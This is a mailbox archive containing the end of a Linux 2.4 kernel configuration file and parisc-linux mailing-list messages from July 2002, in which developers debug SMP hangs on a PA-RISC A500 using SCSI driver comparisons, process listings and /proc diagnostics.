CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=80
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
CONFIG_SCSI_NCR53C8XX_IOMAPPED=y
# CONFIG_SCSI_NCR53C8XX_PQS_PDS is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_LASI_82596 is not set
# CONFIG_SUNLANCE is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
# CONFIG_TULIP_MMIO is not set
# CONFIG_DE4X5 is not set
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_LNE390 is not set
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_8139TOO_PIO is not set
# CONFIG_8139TOO_TUNE_TWISTER is not set
# CONFIG_8139TOO_8129 is not set
# CONFIG_8139_NEW_RX_RESET is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_VIA_RHINE_MMIO is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set
# CONFIG_INPUT_KEYBDEV is not set
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set

#
# Input core support is needed for gameports
#

#
# Input core support is needed for joysticks
#
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# HIL support
#

#
# Input support needed for HIL support
#

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
CONFIG_QUOTA=y
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
CONFIG_EXT3_FS=y
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_ROOT_NFS is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
CONFIG_NLS=y

#
# Native Language Support
#
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=y
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=y
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ISO8859_1=y
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=y
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=y

#
# Console drivers
#

#
# Frame-buffer support
#
# CONFIG_FB is not set
# CONFIG_STI_CONSOLE is not set

#
# Sound
#
# CONFIG_SOUND is not set

#
# USB support
#
# CONFIG_USB is not set

#
# USB Controllers
#
# CONFIG_USB_UHCI is not set
# CONFIG_USB_UHCI_ALT is not set
# CONFIG_USB_OHCI is not set

#
# USB Device Class drivers
#
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_BLUETOOTH is not set
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_HP8200e is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set

#
# USB Human Interface Devices (HID)
#

#
#   Input core support is needed for USB HID
#

#
# USB Imaging devices
#
# CONFIG_USB_DC2XX is not set
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_SCANNER is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_HPUSBSCSI is not set

#
# USB Multimedia devices
#

#
#   Video4Linux support is needed for USB Multimedia device support
#

#
# USB Network adaptors
#
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_CATC is not set
# CONFIG_USB_CDCETHER is not set
# CONFIG_USB_USBNET is not set

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
# CONFIG_USB_SERIAL is not set
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_BELKIN is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set
# CONFIG_USB_SERIAL_EMPEG is not set
# CONFIG_USB_SERIAL_FTDI_SIO is not set
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IPAQ is not set
# CONFIG_USB_SERIAL_IR is not set
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set
# CONFIG_USB_SERIAL_KEYSPAN is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set
# CONFIG_USB_SERIAL_MCT_U232 is not set
# CONFIG_USB_SERIAL_KLSI is not set
# CONFIG_USB_SERIAL_PL2303 is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
# CONFIG_USB_SERIAL_XIRCOM is not set
# CONFIG_USB_SERIAL_OMNINET is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_RIO500 is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

--Apple-Mail-1-739229053--




From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@elvis.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 11:24:20 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20020710092420.GA11862@elvis.franken.de>
References: <Pine.LNX.4.44.0207100032050.19290-100000@garibaldi.apptechsys.com> <2DB6E156-93E2-11D6-BEE2-0030656F07A2@esiee.fr>
Reply-To: tsbogend@alpha.franken.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621486 10232 80.91.229.3 (22 Nov 2014 01:58:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:06 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 03:24:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (dns.franken.de [193.175.24.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96ED04847
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 03:24:55 -0600 (MDT)
Original-Received: from tsbogend by elvis.franken.de with local (Exim 3.22 #1)
	id 17SDhs-0003D8-00; Wed, 10 Jul 2002 11:24:20 +0200
Content-Disposition: inline
In-Reply-To: <2DB6E156-93E2-11D6-BEE2-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15388

On Wed, Jul 10, 2002 at 10:51:09AM +0200, Thibaut VARENE wrote:
> It also seems to me (though i cannot confirm atm) that the 'PIO mode' in
> SYM53C8XX driver improves stability.

I always use sym-2 now, because I had this strange harddisk slow down problem
with the old sym driver. That might be worth a try, too.

Thomas.




From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 13:02:39 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <8CE455AF-93F4-11D6-BEE2-0030656F07A2@esiee.fr>
References: <20020710092420.GA11862@elvis.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621487 10235 80.91.229.3 (22 Nov 2014 01:58:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:07 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: tsbogend@alpha.franken.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 05:02:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31ADC486B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 05:02:41 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 183C549BEC; Wed, 10 Jul 2002 13:02:40 +0200 (CEST)
In-Reply-To: <20020710092420.GA11862@elvis.franken.de>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15389

Le mercredi 10 juillet 2002, =E0 11:24 , Thomas Bogendoerfer a =E9crit :

> On Wed, Jul 10, 2002 at 10:51:09AM +0200, Thibaut VARENE wrote:
>> It also seems to me (though i cannot confirm atm) that the 'PIO mode'=20=

>> in
>> SYM53C8XX driver improves stability.
>
> I always use sym-2 now, because I had this strange harddisk slow down=20=

> problem
> with the old sym driver. That might be worth a try, too.
Well, we were using sym-2 on A500 before switching to sym-1, and at that=20=

time it
used to hang very often...

By the way, if you want to take a look at what I reported to Ryan when=20=

hangs
occured (SysRq 't', Ryan modified), take a look at:
http://pateam.esiee.fr/archive/mails/

and read the *SMPHangReport* files...

HTH,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Wed, 10 Jul 2002 13:35:13 +0200
Lines: 288
Approved: news@gmane.org
Message-ID: <19AB0C7A-93F9-11D6-BEE2-0030656F07A2@esiee.fr>
References: <8CE455AF-93F4-11D6-BEE2-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621487 10238 80.91.229.3 (22 Nov 2014 01:58:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:07 +0000 (UTC)
Cc: tsbogend@alpha.franken.de, Jeremy Drake <jeremyd@apptechsys.com>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 10 05:35:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B026486B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Jul 2002 05:35:16 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 3BBBB49C5B; Wed, 10 Jul 2002 13:35:14 +0200 (CEST)
In-Reply-To: <8CE455AF-93F4-11D6-BEE2-0030656F07A2@esiee.fr>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15390

Le mercredi 10 juillet 2002, =E0 01:02 , Thibaut VARENE a =E9crit :

>
> Le mercredi 10 juillet 2002, =E0 11:24 , Thomas Bogendoerfer a =E9crit =
:
>
>> On Wed, Jul 10, 2002 at 10:51:09AM +0200, Thibaut VARENE wrote:
>>> It also seems to me (though i cannot confirm atm) that the 'PIO =
mode'=20
>>> in
>>> SYM53C8XX driver improves stability.
>>
>> I always use sym-2 now, because I had this strange harddisk slow down=20=

>> problem
>> with the old sym driver. That might be worth a try, too.
> Well, we were using sym-2 on A500 before switching to sym-1, and at=20
> that time it
> used to hang very often...
>
>
Talking about which; something weird happened:
we got a couple of segfault on previous ISOs build, but relaunching the=20=

build was enough to solve the problem.
Here I got something quite more subtle:

a make process (11859) seems to be stuck (running for about 2hours),=20
though seen as 'running', and the machine did not hang.
ctrl-c was enough to stop it...

I have no idea whether it's related to SMP pb we're tracking down=20
anyway...


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/

PS: as you can see, dumps are pretty *massive*, that's why i didn't post=20=

them on the m-l previously ;o)

ouputs:

mkhppa3:/proc/11859# uname -a
Linux mkhppa3 2.4.18-pa51-rbrad #1 SMP Mon Jul 8 00:41:45 CEST 2002=20
parisc64 unknown

mkhppa3:/proc/11859# ps -efljmw
   F S UID        PID  PPID  PGID   SID  C PRI  NI ADDR SZ WCHAN  STIME=20=

TTY          TIME CMD
100 S root         1     0     0     0  0  69   0 -   381 ?     =20
Jul08 ?        00:00:08 init
040 S root         2     1     1     1  0  69   0 -     0 ?     =20
Jul08 ?        00:00:00 [keventd]
040 S root         3     0     1     1  0  79  19 -     0 ?     =20
Jul08 ?        00:00:00 [ksoftirqd_CPU0]
040 S root         4     0     1     1  0  78  19 -     0 ?     =20
Jul08 ?        00:00:00 [ksoftirqd_CPU1]
040 S root         5     0     1     1  0  69   0 -     0 ?     =20
Jul08 ?        00:00:02 [kswapd]
040 S root         6     0     1     1  0  69   0 -     0 ?     =20
Jul08 ?        00:00:00 [bdflush]
040 S root         7     0     1     1  0  69   0 -     0 ?     =20
Jul08 ?        00:00:03 [kupdated]
040 S root         8     1     1     1  0  69   0 -     0 ?     =20
Jul08 ?        00:00:02 [kjournald]
040 S root        71     1     1     1  0  69   0 -     0 ?     =20
Jul08 ?        00:00:10 [kjournald]
040 S root        72     1     1     1  0  69   0 -     0 ?     =20
Jul08 ?        00:00:00 [kjournald]
140 S daemon      95     1    95    95  0  69   0 -   444 ?     =20
Jul08 ?        00:00:00 /sbin/portmap
040 S root       140     1   140   140  0  69   0 -   681 ?     =20
Jul08 ?        00:00:00 /sbin/syslogd
040 S root       143     1   143   143  0  69   0 -   577 ?     =20
Jul08 ?        00:00:00 /sbin/klogd
140 S root       147     1   147   147  0  69   0 -   479 ?     =20
Jul08 ?        00:00:00 /sbin/rpc.statd
140 S root       152     1   152   152  0  68   0 -   668 ?     =20
Jul08 ?        00:00:00 /usr/sbin/inetd
140 S root       161     1   161   161  0  69   0 -   911 ?     =20
Jul08 ?        00:00:00 /usr/sbin/sshd
140 S root       164     1   164   164  0  69   0 -   732 ?     =20
Jul08 ?        00:00:00 /usr/sbin/ntpd
040 S root       167     1   167   167  0  69   0 -   883 ?     =20
Jul08 ?        00:00:00 /usr/sbin/rpc.nfsd
040 S root       170     1   134   134  0  69   0 -   897 ?     =20
Jul08 ?        00:00:00 /usr/sbin/rpc.mountd
040 S root       173     1   173   173  0  68   0 -   563 ?     =20
Jul08 ?        00:00:00 /usr/sbin/cron
000 R varenet    978     1   978   186 92  79  19 -  3927 ?     =20
Jul09 ?        20:01:26 ./setiathome -nice 20 -proxy cache:3128
000 R varenet    979     1   979   186 92  79  19 -  3927 ?     =20
Jul09 ?        20:01:14 ./setiathome -nice 20 -proxy cache:3128
000 S root       987     1   987   987  0  69   0 -   377 ?      Jul09=20=

ttyS0    00:00:00 /sbin/getty -L ttyS0 9600 vt102
140 S root      1526   161   161   161  0  69   0 -  1560 ?     =20
10:34 ?        00:00:00 /usr/sbin/sshd
100 S varenet   1527  1526  1527  1527  0  69   0 -   731 ?      10:34=20=

pts/1    00:00:00 -bash
100 S root      1532  1527  1532  1527  0  69   0 -   735 ?      10:34=20=

pts/1    00:00:00 bash
000 S root     11363  1532 11363  1527  0  69   0 -   651 ?      10:46=20=

pts/1    00:00:00 /bin/sh ./isobuild.sh
100 S root     11389 11363 11363  1527  0  69   0 -   653 ?      10:46=20=

pts/1    00:00:00 /bin/sh /usr/bin/dpkg-buildpackage
000 S root     11532 11389 11363  1527  0  69   0 -   418 ?      10:48=20=

pts/1    00:00:00 /usr/bin/make -f debian/rules binary
140 R root     15428   161   161   161  0  70   0 -  1603 ?     =20
10:51 ?        00:00:00 /usr/sbin/sshd
100 S varenet  15445 15428 15445 15445  0  69   0 -   735 ?      10:51=20=

pts/2    00:00:00 -bash
000 S root     17219 11532 11363  1527  0  69   0 -   647 ?      10:55=20=

pts/1    00:00:00 sh -e -c for i in 32-smp 32 64 64-smp; do  cd=20
build-$i;  make-kpkg --append-to-version=3D-$i kernel_image;  cd ..;  =
cat=20
build-$i/debian/files >> debian/files;  done
000 S root      3675 17219 11363  1527  0  69   0 -   435 ?      11:21=20=

pts/1    00:00:00 /usr/bin/make -f /usr/share/kernel-package/rules=20
APPEND_TO_VERSION=3D-64 kernel_image
000 S root     11323  3675 11363  1527  0  68   0 -   599 ?      11:31=20=

pts/1    00:00:00 /usr/bin/make -j2 EXTRAVERSION=3D-64 ARCH=3Dparisc =
modules
000 S root     11333 11323 11363  1527  0  68   0 -   592 ?      11:31=20=

pts/1    00:00:00 /usr/bin/make -C drivers CFLAGS=3D-D__KERNEL__=20
-I/home/varenet/newiso/kernel-image-2.4.18-hppa-12.1/build-64/include=20
-Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer=20
-fno-strict-aliasing -fno-
000 R root     11859 11333 11363  1527 99  77   0 -   675 ?      11:32=20=

pts/1    01:53:59 /usr/bin/make -C scsi modules
100 S root     12119 15445 12119 15445  0  69   0 -   734 ?      13:22=20=

pts/2    00:00:00 bash
100 R root     12135 12119 12135 15445  0  79   0 -  1047 ?      13:27=20=

pts/2    00:00:00 ps -efljmw

mkhppa3:/proc/11859# cat cpu
cpu  698952 31
cpu0 668398 16
cpu1 30554 15

mkhppa3:/proc/11859# cat status
Name:   make
State:  R (running)
Tgid:   11859
Pid:    11859
PPid:   11333
TracerPid:      0
Uid:    0       0       0       0
Gid:    0       0       0       0
FDSize: 64
Groups: 0
VmSize:     2700 kB
VmLck:         0 kB
VmRSS:      1832 kB
VmData:     1128 kB
VmStk:         0 kB
VmExe:       132 kB
VmLib:      1240 kB
SigPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 8000000000000000
SigCgt: 000000030002c007
CapInh: 0000000000000000
CapPrm: 00000000fffffeff
CapEff: 00000000fffffeff

mkhppa3:/proc/11859# cat stat
11859 (make) R 11333 11363 1527 34817 11363 0 3237 31730 180 14620=20
704315 31 1827 382 15 0 0 0 17837321 2764800 458 18446744073709551615=20
65536 265672 3220182224 3220191360 152663 0 0 0 180231 3735928559 0 0=20
18 1
mkhppa3:/proc/11859# cat statm
456 456 163 33 6 417 293


telnet> send break
SysRq : Show State

                                  free                        sibling
   task                 PC        stack   pid father child younger older
init          {{ flush_scheduled_tasks }} S 0000000000abcdef   112    =20=

1      0   978       3       (NOTLB)
